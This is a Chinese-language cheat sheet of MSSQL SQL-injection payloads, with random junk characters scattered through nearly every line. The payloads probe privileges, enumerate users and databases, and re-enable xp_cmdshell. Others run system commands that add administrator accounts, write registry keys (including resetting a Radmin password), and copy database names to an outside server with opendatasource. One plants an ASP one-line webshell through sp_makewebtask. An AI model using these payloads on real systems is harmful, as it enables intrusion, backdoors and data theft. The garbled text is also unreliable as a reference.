阿D常用的一些注入命令8 W1 k5 g' Q, n
//看看是什么权限的
* T3 Y3 `# M0 @and 1=(Select IS_MEMBER('db_owner'))
: |# o! x) _1 }* c' ]8 x: BAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
8 L! \0 _' o5 [6 G$ r6 r, j% }% T; `1 U1 P0 b+ P
//检测是否有读取某数据库的权限7 O7 A% X# _8 q, v
and 1= (Select HAS_DBACCESS('master'))
# W- o l# v mAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
7 p: I. {; B5 P
/ [$ A6 A! g) l( G) a& K8 Q6 g8 c$ L1 f
数字类型
2 x( @) S: F1 v% E3 w! B0 tand char(124)%2Buser%2Bchar(124)=01 E' {4 ~- g( e$ w y) L7 H% Z
" b6 i% G& ]# t+ E. S# G" O6 d5 N
字符类型
: _0 \& A# r0 n7 D' and char(124)%2Buser%2Bchar(124)=0 and ''='
. c, k2 u7 x+ @0 S6 D) X) i# f7 `: z- Y o2 B% w, a
搜索类型
, s9 X2 j* I3 W9 |1 K( {3 y' and char(124)%2Buser%2Bchar(124)=0 and '%'='2 h: Y2 B/ m+ ^3 f2 Q" I* R; k
% F( h$ ], \3 x9 y
爆用户名/ `' K+ m% X8 Q9 O/ ~- R
and user>0/ s0 z9 E7 Q# |6 J- _2 ]' Q3 J
' and user>0 and ''='( |) z9 }: j! O' k" i+ a6 ?
0 J6 y+ J- b$ j检测是否为SA权限
% J: t& d4 @! n& z! e o6 M, zand 1=(select IS_SRVROLEMEMBER('sysadmin'));--+ S5 j; g+ l! ~" s( O
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --( f4 {& t9 A% e" \% l- [ o
6 ]$ F3 @5 I6 ~& m
检测是不是MSSQL数据库- K, e! |2 J0 q% ]& c, Z
and exists (select * from sysobjects);--
0 F+ ^! j9 o/ P0 |( }7 [2 N8 z% J. `* g/ ^2 [; R" N
检测是否支持多行
+ a9 d6 ^+ m8 `6 T$ |! T;declare @d int;-- ! a1 v7 r; ^7 ]7 i( C) w
& V6 Z- l% z5 Y/ ~- W' {# I恢复 xp_cmdshell
% W4 N/ m d4 M4 |) o% J0 j;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--5 {/ v( M! G1 y( n; ]
" Q- V& ]% N6 g, ^" z2 X: S& i
8 v. O l6 Y4 B9 aselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') ; e- e8 V, ]4 r' w7 B' B
" Y# R3 v+ C. {//-----------------------
4 ^3 A. \# O! L, Z4 n6 W// 执行命令
8 r$ J$ v1 t) }" y//-----------------------
' k9 O6 l5 p" s5 q G& g首先开启沙盘模式:
; Y9 P: c; l) b. Texec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1$ t( l9 _- S$ h, b8 R+ O
' b1 K o6 S& T& u0 N' ^; u
然后利用jet.oledb执行系统命令- ]; |! _" n' B9 O) L
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
+ N% n6 \+ J4 W6 h+ A1 [' X/ Q M, `* D
执行命令" }+ n9 U* c, r
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--6 e& |' w2 [/ V r3 p7 r
. z. R: v s( t$ z5 ~$ Q
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
, f+ W( Q: \- j* m# c9 S3 L: |$ W5 @
3 g [0 s( W- b! s* m/ G o判断xp_cmdshell扩展存储过程是否存在:7 O* E6 E+ b# t( G6 z+ ~3 L
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')3 h- ]" G4 q) M( n: ~( h
; I% ^+ e' D/ ]3 {% d写注册表# _# ], I _- S, B }$ M. z
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 D, A1 k; n9 w3 a: J1 u2 c/ {
# }1 R8 a* f# A% ?
REG_SZ
8 |# m* a$ K5 l6 k1 I9 z5 y5 N7 g: ?" V. r! U$ C8 w; O4 e' \
读注册表
8 u1 m ^" ^$ \3 i" ?; k! A. {exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
0 Y$ Q, G+ i i! t% Q! ]* f1 `: |" {, d
读取目录内容
: A" W& L- R- J$ I5 P8 @exec master..xp_dirtree 'c:\winnt\system32\',1,1
& g9 l3 ^" I e( ^& e9 t- r7 N8 q; [3 s8 g) `
, \4 v0 o9 p9 _8 X$ m4 F* t4 t( u数据库备份
0 l" r( t5 d3 z) {' fbackup database pubs to disk = 'c:\123.bak'" M1 n2 M5 F! N
- Q- E, p" D" n8 r; ?6 c; ~* O
//爆出长度
; K M% [+ G0 S3 BAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
& c! C, U; v- {* u0 ]# P K5 B! i- C! L/ c- M4 t+ n( d
* a( V: r4 c0 v$ o9 J" L4 ?6 {
7 y: k# u) q1 j$ b/ S
更改sa口令方法:用sql综合利用工具连接后,执行命令:* x3 O, V+ n% _
exec sp_password NULL,'新密码','sa': _( c1 V. }- _: q& A, J' q
4 \/ T' O& \6 z5 w
添加和删除一个SA权限的用户test:, _3 ]6 |8 G, C) X2 U
exec master.dbo.sp_addlogin test,ptlove# S# k- U* I& M1 `
exec master.dbo.sp_addsrvrolemember test,sysadmin
- l' \# H* K: j, {" g: e! G/ C4 o7 Q1 U( }. K
删除扩展存储过过程xp_cmdshell的语句:
. E9 Z2 G8 {% @( n- J7 b+ Jexec sp_dropextendedproc 'xp_cmdshell'- w# c% ~7 Z- F" J5 a
6 B+ o4 H$ l! M: V; ~; s1 [
添加扩展存储过过程
# o* z% Q4 s! U4 J! eEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' 0 X' q; s$ o( [' y. F' _4 s3 }4 E
GRANT exec On xp_proxiedadata TO public
; K1 R2 Q; B4 G$ K0 P7 ?3 U) y( j! n! r, O: \/ S. ^/ v$ a. D
7 O4 D* K: v8 N/ F8 u停掉或激活某个服务。 & `. T) G5 i* E* L0 \/ y
- V* m! V) X" N0 V
exec master..xp_servicecontrol 'stop','schedule'8 S: I) K* r) }) L- F
exec master..xp_servicecontrol 'start','schedule'
) O/ H( l& Z( A; Q1 F4 t# V) [. c1 R/ \5 B9 k
dbo.xp_subdirs
9 Y- e: r# Q) Q, @3 W/ k8 m$ ~! y
# _, o* Z# [" h8 ]- j: i; e9 V只列某个目录下的子目录。
8 E) \$ l9 f3 `- K% G% Axp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
& d- K, ^, N4 Q- e5 U
, O4 O: h; W3 C M. q: Adbo.xp_makecab! S3 ]9 ]3 D. C; A
' } m# B0 `" x7 u/ L2 E将目标多个档案压缩到某个目标档案之内。
2 m7 n. M! B, c" u; n, g! W" u. R所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
. k3 y4 c! b8 {+ g* Q
* g- g9 A. s9 t0 Xdbo.xp_makecab
; f. ]$ U8 s) v, K( ]'c:\test.cab','mszip',1,/ ?, U2 H2 \0 w5 p
'C:\Inetpub\wwwroot\SQLInject\login.asp',# p. }% F3 ~; N" K6 ]
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'# [7 K' N: W! X2 O( h% V9 p; c
8 ]+ E) v2 Z# dxp_terminate_process
0 D4 I/ Y3 s/ p! L1 {2 ]! x/ ]* J4 d: w, m
停掉某个执行中的程序,但赋予的参数是 Process ID。
" f; p0 X2 {; k+ O E' L; Z/ K: V9 i利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID" F+ x$ R' @% |1 T
8 b4 C, t0 V( I" ~2 Q
xp_terminate_process 2484- V D& H; i# P% ?* r3 R, F5 ?- j
$ j4 Y- U' e- v# r* q) R" Mxp_unpackcab
$ P- U9 x. U3 |" Q, q$ i1 J s2 b1 O8 M: x. j& x8 ^+ P
解开压缩档。
" _2 b" w( Q- F& E" W) K7 _) g
) P! z, a5 ^' N* K8 dxp_unpackcab 'c:\test.cab','c:\temp',1* m" [1 O( |- \. j
8 S: F2 i- }. d
' D1 h2 p1 Y/ h o
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12349 d' X/ M1 n% t# } C* \6 x
6 U: l8 N2 v1 Q( d3 B' y0 P G
create database lcx;
( ~( @/ A2 v: J. w6 qCreate TABLE ku(name nvarchar(256) null);7 ?. I- u" c1 f4 I0 D" f, H
Create TABLE biao(id int NULL,name nvarchar(256) null);* s. V+ b2 [! H2 o. j6 E) u6 J
% O" F& i6 G. \" @' N& e
//得到数据库名
& ~ {4 p9 u, n1 {* ]8 Vinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases" m$ q2 Q7 T; @1 V |
* j5 E7 ^3 ~; Y" \
( G) _* }" G# n( s$ B9 t3 D6 k//在Master中创建表,看看权限怎样# h4 { e' S# h2 q& P2 P. _
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--) p% J% l9 E, m4 Z
4 X, m$ w0 A* j: t" s
用 sp_makewebtask直接在web目录里写入一句话马:5 v* _! _2 e1 A) d, L2 [: e
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
% P6 a: g6 n+ x6 i: g" t
! F' N! h( a# x9 u& c3 Y0 V' U//更新表内容
- l# b% ?# t _: SUpdate films SET kind = 'Dramatic' Where id = 123
' g- e5 e+ Z) s5 m0 A# d' Q( ~
: @1 K" ?" s7 z0 q4 E6 Q//删除内容
* n4 i5 l3 w. U# V- S% Bdelete from table_name where Stockid = 3 |